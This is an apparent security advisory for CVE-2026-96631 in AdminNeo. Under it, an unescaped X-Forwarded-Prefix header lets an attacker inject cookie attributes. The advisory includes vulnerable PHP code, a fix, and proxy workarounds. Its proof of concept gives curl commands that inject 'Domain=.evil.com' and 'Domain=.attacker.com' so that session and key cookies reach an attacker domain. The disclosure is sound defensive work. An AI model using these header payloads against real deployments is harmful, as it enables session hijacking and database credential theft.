---
id: "CVE-2026-96631"
kind: "vulnerability"
aliases: ["CVE-2026-96631", "GHSA-79wv-8rh2-9vp2"]
title: "AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers"
severity: "high"
cvss: 8.2
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "adminneo-org/adminneo", "fixed": ["5.5.1"], "affected": ">= 4.6.0, < 5.5.1", "ecosystem": "composer"}]
ecosystems: ["composer"]
tags: ["adminneo", "cwe-113", "cwe-20", "haproxy", "nginx", "package", "php", "reverse-proxy", "self-hosted", "traefik"]
not_affected_if: ["no-reverse-proxy-forwarding", "static-proxy-header", "version-5.5.1-or-later"]
published_at: "2026-10-30T22:52:47+00:00"
first_seen_at: "2026-10-30T22:56:53+00:00"
updated_at: "2026-10-30T22:58:40+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-79wv-8rh2-9vp2", "first_seen_at": "2026-10-30T22:56:53+00:00"}]
---

# AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers

AdminNeo versions 4.6.0 through 5.5.0 build Set-Cookie headers from the client-supplied X-Forwarded-Prefix header without escaping semicolons. An attacker who can set that header can add Domain or other attributes, so a victim's browser sends the neo_sid session cookie and the neo_key database-encryption cookie to an attacker-controlled domain.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- composer:adminneo-org/adminneo affected >= 4.6.0, < 5.5.1 fixed 5.5.1

## How to check

- Check the AdminNeo version in `composer show adminneo-org/adminneo` and see whether it is `>= 4.6.0` and `< 5.5.1`.
- Look for `$_SERVER["HTTP_X_FORWARDED_PREFIX"]` in `admin/include/bootstrap.inc.php` and `header("Set-Cookie: ...")` in `admin/include/functions.inc.php` to confirm the vulnerable code is present.
- Check whether a reverse proxy (Traefik, nginx, HAProxy) forwards the X-Forwarded-Prefix header from clients to AdminNeo.

## Fix

- `adminneo-org/adminneo` `5.5.1`

## Timeline

- 2026-10-30T22:56:53+00:00 ghsa https://github.com/advisories/GHSA-79wv-8rh2-9vp2

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/adminneo-org/adminneo/security-advisories/GHSA-79wv-8rh2-9vp2
- [advisory] Maintainer's advisory: github.com https://github.com/adminneo-org/adminneo/security/advisories/GHSA-79wv-8rh2-9vp2
- [fix] Patch: github.com https://github.com/adminneo-org/adminneo/commit/aa6f2544a8a65cf5e8317f1a902f74181e136d64
- [fix] Release: github.com https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1

## From the sources

### Summary

AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including `Domain`, `Path`, `Secure`, and `SameSite` into all `Set-Cookie` response headers emitted by AdminNeo.

This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., `Domain=.evil.com`), causing the victim's browser to send AdminNeo's `neo_sid` (session ID) and `neo_key` (database password encryption key) cookies to the attacker's server on subsequent requests.

Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h

### Vulnerable Code

**Root cause 1 - Unsanitized header prepended to `REQUEST_URI`**
(`admin/include/bootstrap.inc.php`, lines 50–52):

```php
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
	$_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}
```

The client-supplied `X-Forwarded-Prefix` header is concatenated into `REQUEST_URI` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).

**Root cause 2 - Manual `Set-Cookie `header construction without escaping**
(`admin/include/functions.inc.php`, lines 416–424):

```php
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
	header("Set-Cookie: $name=" . rawurlencode($value)
		. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
		. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
		. (HTTPS ? "; secure" : "")
		. "; HttpOnly; SameSite=lax",
		false);
}
```

The tainted `REQUEST_URI` is interpolated directly into the `path=` attribute of the `Set-Cookie` header. Since semicolons are not stripped or escaped, any `;`-separated directives injected via `X-Forwarded-Prefix` become valid cookie attributes parsed by the browser.

**Root cause 3 - Session cookie also tainted**
(`admin/include/bootstrap.inc.php`, line 61):

```php
session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);
```

The PHP session cookie (`neo_sid`) path is similarly derived from the tainted `REQUEST_URI`, extending the same vulnerability to the session cookie set by PHP itself.

### Impact

- **Session hijacking:** The `neo_sid` session cookie is sent to the attacker's domain, allowing full session takeover.
- **Credential theft:** The `neo_key` cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.
- **Session fixation:** An attacker can inject arbitrary `Path`, `SameSite`, and `Secure` attributes, manipulating cookie behavior.
- **Wide applicability:** The `X-Forwarded-Prefix` header was specifically added to support reverse proxy deployments (Traefik `PathPrefixStrip`, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.

### Affected Cookies

|**Cookie**|**Content**|**Risk**|
|`neo_sid`|PHP session ID|Session hijacking|
|`neo_key`|Encryption key for stored DB passwords|Credential theft|
|`neo_settings`|User preferences|Low (information disclosure)|

### Proof of Concept

```shell
# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax

# Malicious request — inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \
  http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
#                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED

# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
  http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...
```

### Recommended Fix

1. **Sanitize `X-Forwarded-Prefix`:** Strip or reject semicolons, newlines, and other HTTP header metacharacters from the `X-Forwarded-Prefix` value before using it.
2. **Use `setcookie()` / `setrawcookie()`:** Replace the manual `header("Set-Cookie: ...")` construction in `cookie()` with PHP's built-in `setcookie()` function, which properly escapes attribute values.
3. **Validate `REQUEST_URI` before cookie use:** After any prefix manipulation, strip characters that are invalid in a cookie `path` attribute (`;`, `,`, whitespace per RFC 6265).

```php
// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
    $prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
    $_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}
```

### Server Based Workaround Via Config

Configure the reverse proxy to set `X-Forwarded-Prefix` to a static, trusted value rather than forwarding the client-supplied header:

```nginx
# nginx — secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo;  # static value, not $http_x_forwarded_prefix
```

```yaml
# Traefik, use middleware instead of client headers:
middlewares:
  strip-prefix:
    stripPrefix:
      prefixes:
        - "/adminneo"
```

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_